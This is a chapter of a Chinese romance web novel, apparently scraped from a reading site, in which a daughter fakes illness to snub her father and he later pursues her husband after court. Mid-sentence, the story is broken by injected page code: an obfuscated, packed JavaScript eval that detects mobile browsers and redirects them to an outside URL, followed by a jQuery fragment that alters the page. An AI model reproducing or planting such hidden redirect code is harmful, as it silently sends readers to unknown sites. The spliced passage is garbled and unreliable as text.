第188章 早就该一道雷劈死那对狼狈为奸的夫妻了
作品:《夫君兼祧弟媳?改嫁小叔后我扶腰叹》 次日清晨。
裴云霆天不亮就起了身,看着还在熟睡的桑晚意,他动作放轻了许多,小心翼翼地将被角掖好,这才穿上朝服,大步走出了院子。
他前脚刚走没多久,桑晚意就被外面的动静吵醒了。
“少夫人。”张嬷嬷掀开帘子走进来,手里端着铜盆,脸上带着几分无奈。
桑晚意迷迷糊糊地睁开眼,只觉得浑身像是被拆散了架重新组装过一样,每一块骨头都在叫嚣着酸痛,她在心里把裴云霆那个不知节制的混蛋骂了一百遍。
“怎么了嬷嬷?什么时辰了?”桑晚意嗓音有些哑。
“辰时刚过。”张嬷嬷把帕子拧干递给她,“前院来报,说是桑大人又来了,这会儿正在偏厅候着呢,一定要见您,说是如果您不见,他就坐那儿不走了。”
桑晚意接过热帕子敷在脸上,长长地舒了一口气,这才觉得活过来一些。
“来得倒是挺早。”桑晚意拿下帕子,露出一张红润的脸庞,“看来昨天被赶走,不仅没让他知难而退,反而更急了。”
“那……咱们见是不见?”张嬷嬷有些犹豫,“毕竟是您的亲生父亲,要是真赖在府里不走,传出去也不好听。”
桑晚意坐在梳妆台前,看着镜子里的自己,脖子上还留着昨晚某人留下的红痕,她拿起粉扑遮了遮,漫不经心地说道:“见什么见?我这身子骨弱着呢。”
她转过头,对着张嬷嬷眨了眨眼:“嬷嬷,你去回话,就说我不孝,昨儿个夜里受了风寒,今早起来头重脚轻,高烧不退,怕是要传了病气给父亲。为了父亲的身体安康,还是不见为好。”
张嬷嬷一愣,随即反应过来,捂嘴偷笑:“老奴这就去。”
……
裴府偏厅。
桑景南手里捧着茶盏,却一口都喝不下去,还时不时往门口张望。
昨天被赶出去后,他一晚上没睡好,宋岚在家里哭得死去活来,吵得他脑仁疼。
今天一大早,他又厚着脸皮来了,心想着裴云霆上朝去了,桑晚意一个后宅妇人,总该心软些。
正想着,只见张嬷嬷迈着步子走了进来。
桑景南眼睛一亮,连忙迎上去:“张嬷嬷,晚意起了吗?是不是愿意见我了?”
张嬷嬷福了福身,一脸的愁容:“桑大人,实在是不巧,我们少夫人昨儿个夜里不小心染了风寒,今儿一早便烧得起不来床了。”
“病了?”桑景南眉头一皱,“怎么这么巧?昨天还好好的,今天就病了?”
“常言道,病来如山倒嘛。”
张嬷嬷叹了口气,一脸担忧,“少夫人说了,她这病来势汹汹,恐怕会过人,桑大人身居高位,乃是国之栋梁,万一被传染了,那少夫人的罪过可就大了,所以特意嘱咐老奴,让桑大人千万别进去,免得伤了贵体。”
桑景南脸色瞬间变得铁青,这哪里是怕传染给他?分明就是不想见他!
“我不怕传染!”桑景南咬牙切齿,“我是她爹!她病了我去探望也是天经地义!带路!”
说着,他就要往里闯,张嬷嬷往旁边跨了一步,不偏不倚地挡住了去路,身后的两个粗使婆子也立刻围了上来,虎视眈眈地盯着桑景南。
“桑大人,这里是裴府。”张嬷嬷收起了笑容,语气变得生硬,“少夫人说了不见,那就是不见,若是您硬闯,惊扰了少夫人养病,等将军下了朝回来,老奴可不敢保证将军会不会发火。”
提到裴云霆,桑景南迈出去的脚硬生生收了回来。
他敢在桑晚意面前摆父亲的谱,却不敢在裴云霆那个活阎王面前造次。
“好……好得很!”桑景南气得胡子都在抖,“她这是铁了心要跟我断绝关系是不是?连亲爹都不认了!”
张嬷嬷眼皮都不抬:“桑大人言重了,少夫人只是病了,怎么就扯到断绝关系上了?您还是请回吧,等少夫人病好了,自然会去府上请
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144048|195675||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
安。”
桑景南深吸一口气,强压下心中的怒火,他知道今天这面是见不着了,再闹下去只会更难堪。
“告诉那个逆女!”桑景南甩了甩袖子,“桑文言是她亲弟弟!若是文言有个三长两短,我看她以后有何面目去见桑家的列祖列宗!”
说完,桑景南黑着脸,气冲冲地往外走。
片刻后,二房卧房内,桑晚意正裹着厚厚的被子,惬意地喝着红枣燕窝粥,听着张嬷嬷绘声绘色地描述桑景南吃瘪的样子,忍不住笑出了声。
“桑家列祖列宗?”桑晚意吹了吹勺子里的热粥,嘴角勾起一抹冷笑,“他们要是真有灵,早就该一道雷劈死那对狼狈为奸的夫妻了。”
桑景南从裴府出来的时候,虽然天色见亮,但还是阴沉沉的感觉,瞅着时间再不走都来不及上早朝了,就得急匆匆地往皇宫赶。
这一路,桑景南坐在晃晃悠悠的轿子里,心却是悬在半空的。
朝堂之上,倒是没有什么特别的,只是往日里那些哪怕没什么交情也要上来寒暄两句的同僚,今日不知是不是听到了什么风声,一个个对他避之唯恐不及,即便目光撞上了,也是迅速移开,仿佛他桑景南身上带着瘟疫。
桑景南站在班列里,后背的汗湿了又干,黏糊糊地贴在身上,难受得紧,他时不时偷瞄一眼站在武官前列的裴云霆。
裴云霆倒是气定神闲,一身暗红色的麒麟官服衬得他身姿挺拔,整个早朝,裴云霆连个眼神都没往这边瞟,仿佛昨晚把小舅子扔进大牢的人压根不是他。
好不容易熬到了退朝,文武百官如释重负地往外涌,桑景南顾不得什么体面,提着袍角就往武官那边挤。
“云霆!云霆留步!”
裴云霆正与身边的副将说着话,脚下生风,走得极快,桑景南这一嗓子引得周围几个走得慢的官员纷纷侧目。
裴云霆脚步微顿,转过身来,见到桑景南气喘吁吁的追了上来。

